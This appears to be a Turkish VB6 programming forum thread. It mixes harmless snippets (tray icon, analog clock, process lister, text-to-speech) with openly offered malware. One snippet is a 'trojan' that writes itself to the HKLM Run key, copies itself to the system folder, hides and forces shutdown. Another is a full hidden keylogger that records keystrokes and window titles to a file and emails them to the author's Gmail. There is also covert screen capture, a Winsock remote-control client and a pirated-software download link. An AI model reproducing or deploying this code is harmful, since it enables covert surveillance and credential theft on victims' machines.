Visual basic Download
Microsoft Visual Basic 6.0 Professional Edition + Service Pack 6
Bilgi
Visual Basic** Microsoft tarafından** Basic programlama dili üzerinde geliştirilmiş** olay yönlendirmeli** üst seviye** nesne tabanlı ve görsel bir programlama dilidir.
Windows işletim sistemlerinin yaratıcısı Microsoft tarafından hazırlanan Visual Basic 6.0** hem kullanıcılara hem de programcılara Windows'un tüm olanaklarını öğrenme imkânı veriyor. Programcılar Visual Basic 6.0'ı kullanarak ticarî programlar hazırlayabilir** internet uygulamaları geliştirebilir Kısacası Microsoft Visual Basic'in verdiği olanaklar** programcıların hayal gücü ile sınırlıdır...
http://hotfile.com/dl/27298935/43fe139/Visual_Basic_6.rar.html
RAR PASS ;
www.gorselprogram.com
Evet arkadaşlar bu dersimizde DLL hazırlamayı görücez.
Öncelikle tanıyalım.Windows işletim sistemlerinde temel yapı taşı APİ ve DLL lerdir..DLL ler dosyaların içinde tanımlanır..3 ana DLL den ouşurlar.Bu DLL ler Kernel32.dll gdy32.dll ve User32.Dll
Altta Source paylaşıcam burda anlatmaya kalkarsam elim ağrır
Gerisi Size Kalmış bir şey
http://www.upload.gen.tr/d.php/s13/4h70nhtb/Dll_Haz__rlama.rar.html
İlk Once Bir button açalım Bu Label Olarak degişe bilir
Private Sub Command1_Click()
SendKeys "{Home}"
SendKeys "{Enter}"
End Sub
Bunu yaptıktan sonra Fare'niz kitlenır
Gerekenler;
1 Adet Button
1 Adet Modül
Forum'un Başına BuNu YAZIYORUZ..
Dim nid As NOTIFYICONDATA
Forum'un İçine BuNu YAZIYORUZ..
Sub minimize_to_tray()
Me.Hide
With nid
.cbSize = Len(nid)
.hwnd = Me.hwnd
.uId = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon
End With
Shell_NotifyIcon NIM_ADD, nid
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim msg As Long
Dim sFilter As String
msg = X / Screen.TwipsPerPixelX
Select Case msg
Case WM_LBUTTONDOWN
Me.Show
Shell_NotifyIcon NIM_DELETE, nid
Case WM_LBUTTONUP
Case WM_LBUTTONDBLCLK
Case WM_RBUTTONDOWN
Case WM_RBUTTONUP
PopupMenu Mnu
Case WM_RBUTTONDBLCLK
End Select
End Sub
Button'a Bunu EKLİYORUZ
Private Sub Command1_Click()
Cancel = 1
minimize_to_tray
End Sub
Son Olarak Modül'ede Bunu Ekliyoruz..
Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const WM_MOUSEMOVE = &H200
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_LBUTTONDBLCLK = &H203 'Double-click
Public Const WM_LBUTTONDOWN = &H201 'Button down
Public Const WM_LBUTTONUP = &H202 'Button up
Public Const WM_RBUTTONDBLCLK = &H206 'Double-click
Public Const WM_RBUTTONDOWN = &H204 'Button down
Public Const WM_RBUTTONUP = &H205 'Button up
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
İstege gore degişe bilir Command Label unload gibi
ßy_Sky
Private Sub Command1_Click()
Dim d_tarih, gun
Do
d_tarih = InputBox("Doğum Tarihinizi Giriniz :")
Loop While Not IsDate(d_tarih)
Select Case Weekday(d_tarih)
Case 1: gun = "Pazar"
Case 2: gun = "Pazartesi"
Case 3: gun = "Salı"
Case 4: gun = "Çarşamba"
Case 5: gun = "Perşembe"
Case 6: gun = "Cuma"
Case 7: gun = "Cumartesi"
End Select
MsgBox (gun & " Günü Doğmuşsunuz") ' İstediginiz Yaza Bilirsiniz
End Sub
ßy_Sky
Private Sub Timer1_Timer()
Form1.Caption = Right(Form1.Caption, 1) & _
Left(Form1.Caption, Len(Form1.Caption) - 1)
End Sub
timer açın içine bunları yazın
Form Başlıgını Onceden girmeyi sakın unutmayın ... ßy_Sky
http://vimeo.com/12223433
bir yerde gordum beğenirsiniz diye paylaştım
Video ile anlatım !
ALINTI
Form'a 1 Aded Check Ekliyoruz..
Private Sub Check1_Click()
If Check1.Value = 1 Then
YukarıdaTut Me, True
Else
YukarıdaTut Me, False
End If
End Sub
Alttaki Kodu Yapıştırıyoruz..
Daha Sonra
1 Adet Modül Ekliyoruz..(Sağ Taraf Form'a Sağ Tıkla/Ekle/Modül)
Modül'ün İçine bunu Ekliyoruz..
Public Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOMOVE As Long = &H2
Const SWP_NOSIZE As Long = &H1
Public Sub YukarıdaTut(TheForm As Form, SetOnTop As Boolean)
Dim lflag
If SetOnTop Then
lflag = HWND_TOPMOST
Else
lflag = HWND_NOTOPMOST
End If
SetWindowPos TheForm.hWnd, lflag, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End Sub
Otomatik Olarak Çalışmasını İsterseniz
Form_Load Bölümü Bu Şekilde Ekliyebilirsiniz..
Private Sub Form_Load()
Check1.Value = 1
End Sub
ßy_Sky
Private Sub Form_Load()
Dim aci, i, t
AutoRedraw = True
Timer1.Interval = 1000 ' 1 saniye
Timer2.Interval = 10 '1 saniye
'zemin desenini çiz
ScaleMode = 3 'pixel moduna geçir
For i = 0 To ScaleHeight
Line (0, i)-(ScaleWidth, i), i * 256
Next
ScaleMode = 1 'normal moda dön
'form yüksekli?ini ve genisligini ayni yap
Width = ScaleHeight
'matematiksel koordinatlara göre yeniden ölçekle
Scale (-20, 20)-(20, -20)
t = "Programmer"
CurrentX = -TextWidth(t) / 2 ' orta noktayy bul
CurrentY = -1
Print t
t = "ßy_Sky"
CurrentX = -TextWidth(t) / 2
CurrentY = -4
Print t
'saat yuvarlagini ciz
DrawWidth = 5
Circle (0, 0), 19, 65535
DrawWidth = 2
'saniye cizimlerini ciz
For aci = 0 To 360 Step 6
Line (18 * Cos(aci * 3.1415 / 180), 18 * Sin(aci * 3.1415 / 180))-(19 * Cos(aci * 3.1415 / 180), 19 * Sin(aci * 3.1415 / 180)), QBColor(5) 'saniyelerin arka rengi
Next
'saat cizgilierini ciz
DrawWidth = 4
For aci = 0 To 360 Step 6 * 5
Line (18 * Cos(aci * 3.1415 / 180), 18 * Sin(aci * 3.1415 / 180))-(19 * Cos(aci * 3.1415 / 180), 19 * Sin(aci * 3.1415 / 180)), QBColor(15) 'saatlerin arka rengi
Next
DrawMode = 7 'xor
End Sub
Private Sub Timer1_Timer()
Dim aci, saniye, dakika, saat, i
Static sx, sy, dx, dy, stx, sty
Caption = Time
DrawWidth = 2
Line (0, 0)-(sx, sy), QBColor(6) 'saniyeyi çiz
saniye = Second(Time) 'saniyeyi saatten al
aci = -saniye * 6 + 90 'her bir saniye +6 derecedir 360 derece 60 saniyedir
sx = 18 * Cos(aci * 3.1415 / 180)
sy = 18 * Sin(aci * 3.1415 / 180)
Line (0, 0)-(sx, sy), QBColor(6) 'saniyeyi çiz
DrawWidth = 3
Line (0, 0)-(dx, dy), QBColor(11) 'yelkovany çiz
dakika = Minute(Time) 'dakikayi saatten al
aci = -dakika * 6 + 90 'her bir dakika 6 derecedir 360 derece / 60 dakikadir
dx = 18 * Cos(aci * 3.1415 / 180)
dy = 18 * Sin(aci * 3.1415 / 180)
Line (0, 0)-(dx, dy), QBColor(11) 'yelkovani çiz
DrawWidth = 3
Line (0, 0)-(stx, sty), QBColor(12) 'akrebi ciz
saat = Hour(Time) 'saati saatten al
aci = -saat * 30 + 90 'her bir saat 30 derecedir 360 derece / 12 saat
stx = 12 * Cos(aci * 3.1415 / 180)
sty = 12 * Sin(aci * 3.1415 / 180)
Line (0, 0)-(stx, sty), QBColor(12) 'akrebi ciz
'saat basi ise zil cal
If Minute(Time) = 0 Then Beep
End Sub
Private Sub Timer2_Timer()
Static sls
sls = (sls + 1) Mod 360
Dim aci
Dim sx, sy, dx, dy, stx, sty
DrawWidth = 1
aci = -sls * 3.6 + 90 'her bir saniye 3.6 derecedir. 360 derece/ 100
sx = 3 * Cos(aci * 3.1415 / 180)
sy = 3 * Sin(aci * 3.1415 / 180)
Line (5, 5)-(5 + sx, 5 + sy), QBColor(10) 'sagdaki kucuk ibre
Line (-5, 5)-(-5 - sx, 5 - sy), QBColor(10) 'soldaki kucuk ibre
End Sub
2 tane Tİmer ekleyin sonra başlatın
Arkadaşlar bu kodlama sadece bişeyleri görmeniz için kodlandı.Bir nevi görev yöneticisidir.
Form'a 1 adet listbox ve 1 adet buton ekliyoruz..
Formun üst kısmına
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Dim lSnapShot As Long, lNextProcess As Long, Program As PROCESSENTRY32Buton Kodumuz
TerminateProcess OpenProcess(0, False, Val(List1.Text)), lExitCode
DoEvents
List1.Clear
BulForm Load
BulSon olarak bul tanıyalım.Form en altına
Private Sub Bul()
lSnapShot = CreateToolhelp32Snapshot(&H2&, 0&)
Program.dwSize = Len(Program)
lNextProcess = Process32First(lSnapShot, Program)
Do While lNextProcess
List1.AddItem Program.th32ProcessID & " " & Program.szExeFile
lNextProcess = Process32Next(lSnapShot, Program)
Loop
End Sub
Microsoft Speech Object Library ekle..
Sonra Form üst kısma
Dim speech As SpVoiceCommand ve text ekle..
Command kodu
speech.Speak Text1
Ve form Loada
Set speech = New SpVoice
Takıldıgınız Yer olursa Ozel Mesaj atın ....
Arkadaşlar Formumuzu Şifre ile açtırmak için öncelikle 2 adet form ekliyoruz projeye(form1 ve form2)
1 Adet buton ekliyoruz
4 adet textbox ekliyoruz...
Buton Kodumuz..
If Text1.Text = "By_Sky" And Text2.Text = "By_Sky" And Text3.Text = "By_Sky" And Text4.Text = "By_Sky" Then ' Textleri azaltarak kendinize göre yapabilirsiniz..
Form1.Hide
Form2.Show
Else
a = a + 1
MsgBox "Kullanıcı adı ve Şifreyi Kontrol Edin", , "HATA"
End If
If a = 3 Then
Text1.Enabled = False
Text2.Enabled = False
Command1.Enabled = False
MsgBox "3 sefer hatalı giriş yaptınız", , "UYARI"
MsgBox "Güle Güle", , "Güle Güle"
Form1.Hide
Form2.Hide
End IfFormumuzun üst kısmına
Dim a
form load' ekleyin
a = 0
Trojan Kodları
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")
Trojan'le Keylogger aynı şey deyildir Lutfen Onun gibi yorum'lar yapmayınız
Alıntı yapılan: ßy_Sky - 01 Ağustos 2010, 21:09:56
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")
Trojan'le Keylogger aynı şey deyildir Lutfen Onun gibi yorum'lar yapmayınız
2 satır kod ile trojan mı yazdım sanıyorsun ?
Truva atı (Trojan), Bilgisayar yazılımı bağlamında Truva atı zararlı program barındıran veya yükleyen programdır. ( Bazen "zararlı yük" veya sadece "truva" ibareleriyle de nitelendirilmektedir.) Terim klasik Truva Atı mitinden türemiştir.Truva atları masum kullanıcıya kullanışlı veya ilginç programlar gibi görünebilir ancak yürütüldüklerinde zararlıdırlar.
Truva atlarının iki türü vardır.Birincisi,kullanışlı bir programın bir hacker tarafından tahribata uğrayıp içine zararlı kodlar yüklenip program açıldığında yayılan cinsi. Örnek olarak çeşitli hava durumu uyarı programları, bilgisayar saati ayarlama yazılımları ve paylaşım programları (p2p) verilebilir. Diğer türü ise bağımsız bir program olup başka bir dosya gibi görünür. Örneklemek gerekirse oyun veya kalıp dosyası gibi kullanıcıyı aldatmaya yönelik bir takım yönlendirici karışıklık ile programın harekete geçirilmesine ihtiyaç duyulmaktadır.
Truva atları diğer kötücül yazılımlar, bilgisayar virüsleri ve bilgisayar solucanı gibi kendi başlarına işlem yapamazlar. Aynen Yunanların planlarının işleyebilmesi için atın Truvalılar tarafından içeri alınması gerektiği gibi Truva atlarının zararlılığı da kullanıcının hareketlerine bağlıdır. Truva atları kendilerini kopyalayıp dağıtsalar bile her kurbanın programı (Truvayı) çalıştırması gerekir. Bu yüzden Truva atlarının zararlılığı bilgisayar sistem açıklarına veya ayarlarına değil toplum mühendisliğinin başarılı uygulamalarına bağlıdır.
Tamam bılıyorum'da O kadar Professional Deyilim K.bakma
16 Yaşındayım ve Hiç bir egitik almadan Bu kodu yazdım ?
Elimden gelen bu kadar K.bakmayınız
http://www.dosya.tc/files/LpadeJ/Ba_latYaz_s_n_Degi_tirme.rar.html
İçinde Kodlara İyi bakın Sadece Başlat Deyil herşeyi Degiştire bilirsiniz Unutmayın :)
Bu işlerle uğraşmak istiyorsan millete göstermek yerine kendini geliştir
Ben kendimi Çok iyi geliştirdim Visual Basic'de İstedigim herşeyi yapabiliyorum ...
iyi Kotu fark etmez ama yapabiliyorum Daha iyisini'de yaparım merak etme :)
sana bir tavsiye vb yi bırak c#a geç :)
Ömrümü yedi visual basic benim 10 yıldır yazıyorum visual basicte yardım gerek olursa beni bulun. :)
Alıntı yapılan: ßy_Sky - 01 Ağustos 2010, 21:09:56
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")
Bu komutları derleyip çalıştırdığınızda bilgisayar kapanacaktır. Kapanmadan önce ise Kayıt Defterine 'saka' isimli dosya'nın bilgisardaki konumu kaydedliyor. Bilgisayarı kapatıp açtığınızda bu dosya çalışacaktır. :) bu bir trojan değilde bir exe'yi Başlangıçta açılan dosyalar listesine kaydeden bir komut deseymissiniz daha doğru olurdu.
Yaşını Bılmıyorum ama Galiba Benden buyuksun
Niye herkez aynı şeyi soyluyor sana bir tavsiye vb yi bırak c#a geç
herkez aynı şeyi soyluyor Visual basic Bırak C++ Yada Senın soyledigin şey c# Bunları yapan Visual yapar diyorlar :D
Alın beyler Kodları iyi bakın Ozelıkler Amatorler :)
http://www.dosya.tc/files/GyzHJp/_y_SkySource.rar.html
Bu da benım yaptıgım
http://www.upload.gen.tr/d.php/s13/kdvb1dsi/__y.Sky.rar.html [OZEL BUTUN KEYLOGGER , Trojan Hepsini Bulur WARDOM bile ...
Bana sorsaydın geçme derdim.. öyle bir dile geçmene gerek yok. Zaman geldiğinde terfi ediceksin zaten ama C# Olmasın derim.
Kaç yıldır uğraşıyorsun visual basic 6 ile?
2 ADET TEXTBOX;
3 ADET TİMER EKLİYORUZ.
Keylogger kodları;
Forma çift tıklayın yada sağ tıklayıp View Code diyin ve herşeyi silin.Verdiğim kodu yapıştırın.Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form_Load()
Me.Hide
On Error Resume Next
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If
'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = "c:\mrt.txt"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
[/CODE]Timer3'e çift tıklayın ve içine verdiğim kodu yapıştırın.Kırmızı ile yazdığım yerleri kendinize göre düzenleyin.Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "emailiniz" ' gene gmail olması lazım.
Flds.Item(schema & "sendpassword") = "şifreniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "kendimailiniz@gmail.com" 'kendi mailinizi yazın ki loglar size gelsin.Gmail olmak zorunda çünkü smtp ona göre ayarLı.
.From = "Mail Post Server"
.Subject = "Mail konusu" 'kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub[/CODE] BOMBA GELDİ...
Program gizli olsun ve görev yöneticisinde gözükmesin!
Gizlilik Kodu.Form Load'a
Me.Hide
Görev Yöneticisinde gözükmesin Form Load'a
App.TaskVisible = False
Not:Sadece Uygulamalar kısmında gözükmez.İşlemler kısmında gözükür.
KÖTÜ HABER:App.TaskVisible = False kodunu kullanırsanız Antivirüsler truva atı olarak buluyorlarmış. [/QUOTE]
DİPNOOT : 1-2 Ay evel yazmıştım eger bi hata gorursenız hemen soyleyin fixleyim
2 yıl oldu sanırsam :)
Derlemedim komutları ama anlamamak mümkün değil. Doğru bir keylogger olmamış.
Timer nesnelerinin İnterval değerleri ney? hiç birşey doğru değil.
Timer2 nesnesi sürekli çalışıyormu? Timer2 neden sürekli mrt.txt isimli dosyaya kayıt ediyor. Timer2 yi neden başka bir timer nesnesi ile kontrol etmiyorsun bu şekilde bu program doğru çalışmaz bir zaman sonra hata alırsın.
o txt yi Klavye Bastıgın Tuşları Takip ediyor Ama sana gelmıyor :) Oylesine koydum Çunku Bunu yapmadan Once başka bi kod ile ugraşıyordum ondan :)
Hata almazsın gibime geliyor herşey dogru tam ben denedim Lutfen denemeden yorum yazmasan sevirim :)
Alıntı yapılan: nuriozdas - 01 Ağustos 2010, 21:53:08
C# Olmasın derim.
derken C# ın VB den bir eksiği mi var? veya alternatif olarak daha iyi bir dil mi var?
Dil kıyaslamasına girmek istemiyorum çünkü VB yi kullananlar niçin VB kullandıklarını,
C kullananlar niçin C kullandıklarını biliyorlardır zaten. :)
bu arada genç arkadaşımızın terfi etmesi önce .NET platformuna geçmesiyle olur.
Timer2 sürekli çalışıyor kontrol etmemişsin. Bir dosyayı Open komutu ile açıp Close ile kapatırsın bu işlemler sürekli bir timer ile gerçekleşirse program bir zaman sonra hata verir benden söylemes.
Bu komut ile 'On Error Resume Next' Engelleyemessin. Timer2'yi başka bir Timer ile kontrol et ve programın çalışma mantığını değiştir.
Alıntı yapılan: fatihinanc - 01 Ağustos 2010, 22:23:42
Dil kıyaslamasına girmek istemiyorum çünkü VB yi kullananlar niçin VB kullandıklarını,
C kullananlar niçin C kullandıklarını biliyorlardır zaten. :)
Haklısın biliyorlardır eminim ben biliyorum en azından.
C# Öğrensin ama bu işi para için yapıyorsa öğrensin yada JAVA öğrensin derim
Basit programlar yazmak istiyorsada Visual basic 6 ya devam etmeli.
Fikir İçin Teşekkur ederim :)
zaten dedim eski paylaşım :)
Basit program Diyip geçme bazi basit programlar buyuk işler başarır :)
Gerekenler: 1 adet picturebox,1 adet timer.
Timer'ın interval = 1 yapın
Formun General bölümüne şunları yapıştırın
Option Explicit
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, _
ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _
ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal XSrc As Long, _
ByVal YSrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" _
(ByVal hwnd As Long, ByVal hDC As Long) As Long
timer:On Error Resume Next
Dim hd, w, h ' Geri dönüş değişkenleri
Picture1.AutoRedraw = True ' Resmin görüntüleme içIn
w = Screen.Width / Screen.TwipsPerPixelX ' Resim boyutu
h = Screen.Height / Screen.TwipsPerPixelY
hd = GetDC(GetDesktopWindow())
' Resmi Belirtilen ResimKutusu objesine aktar
Call BitBlt(Picture1.hDC, 0, 0, w, h, hd, 0, 0, &HCC0020)
Call ReleaseDC(GetDesktopWindow(), hd)
' Resmi görüntülemek için yenile
Picture1.*******Resmi formun büyüklüğüne uydurmak için ise bi tane daha timer ekleyin ve koduna şunları yazın:
timer'ın intervalını 1 yapın
Picture1.Width = Form1.Width
Picture1.Height = Form1.Height
Sorun varsa Soyleyin Çunku paylaştıklarımınn hepsi eskı paylaşımlardır :)
Alıntı yapılan: ßy_Sky - 01 Ağustos 2010, 22:48:25
Basit program Diyip geçme bazi basit programlar buyuk işler başarır :)
Büyük işler başardığından eminim Yanlış anlama beni lütfen bende yazıyorum vb6 ile halen..
Command 1 Bağlanmak için
Command 2 Cdromu açmak için
Command 3 Cdromu kapatmak için
Command 4 Başlat çubuğunu Göster
Command 5 Masaüstünü Sakla
Command 6 Masaüstünü Göster
Command 7 Başlat Çubuğunu Sakla
Command 8 Mouse Sağ el hakim olsun
Command 9 Mouse Sol el Sahip olsun
Command 10 Mesaj Yollama
Text 3 Mesaj metni
Text1 ip Yazılacak kısım
Tex4 Bağlantı Göstergesi
JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi
buraya Minnetimi ödiyim ben ,saolun hepiniz
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277
End Sub
Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub
Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
